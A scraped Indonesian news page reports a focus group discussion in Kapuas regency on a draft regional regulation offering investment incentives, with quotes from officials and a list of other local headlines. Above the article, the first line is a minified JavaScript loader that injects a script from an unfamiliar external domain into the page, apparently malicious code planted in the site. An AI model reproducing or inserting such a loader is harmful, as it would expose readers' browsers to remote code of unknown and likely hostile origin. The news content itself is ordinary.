(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPMPTSP Kapuas Gelar FGD Penyusunan Raperda Kemudahan Investasi


KANALKALIMANTAN.COM, KUALA KAPUAS – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Kapuas menggelar Focus Group Discussion (FGD) penyusunan naskah akademik Rancangan Peraturan Daerah (Raperda) tentang pemberian insentif dan kemudahan investasi.

Kegiatan FGD yang berlangsung di Ballroom Hotel Permata Iin Kuala Kapuas, Selasa (26/3/2024), dibuka secara Staf Ahli Bupati Kapuas Jaya dihadiri Asisten II Setda Kapuas, Salman, dan Kepala DPMPTSP Kapuas Pangeran S Pandiangan.

Staf Ahli Bupati Kapuas Jaya mengatakan, Kabupaten Kapuas memang perlu peraturan sebagai payung hukum untuk para investor berinvestasi di daerah ini.

Baca juga: Lima Juta Batang Rokok Ilegal Masuk Kalsel Dimusnahkan, Liquid Vape dan Alkohol

“Karena kita ketahui kondisi pemerintah daerah pasti memerlukan investasi. Jadi, tidak ada negara di dunia ini yang tidak membutuhkan investasi,” katanya.

Karenanya melalui kegiatan FGD ini, Jaya berharap untuk bersama-sama memberikan masukan dan sumbang saran untuk penyempurnaan Raperda tentang pemberian insentif dan kemudahan investasi.

Baca juga: Dapati Kafe dan Biliar Buka Malam Ramadan di Banjarbaru

Kepala DPMPTSP Kapuas Pangeran S Pandiangan mengatakan, diskusi menggenai Raperda tentang pemberian insentif kepada pengusaha yang akan menanamkan usaha di Kapuas karena selama ini mungkin ada dirasa kendala-kendala oleh calon investor yang ingin menanamkan investasi di Kabupaten Kapuas.

“Kendala-kendala tersebutlah yang kemudian akan dituangkan dan dimasukan dalam rancangan peraturan daerah tentang pemberian insentif dan kemudahan investasi ini,” ujarnya.

Baca juga: Wapres KH Ma’ruf Amin Dijadwalkan Hadiri Haul ke-218 Datu Kelampayan di Dalam Pagar

“Jadi, nanti pemerintah memberikan insentif. Misalnya insentif berupa keringanan pajak, retribusi, infrastruktur yang disiapkan pemerintah atau hal-hal lain yang dibutuhkan pengusaha,” kata Pangeran. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

18 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

19 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

19 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

20 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

21 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

1 hari ago

This website uses cookies.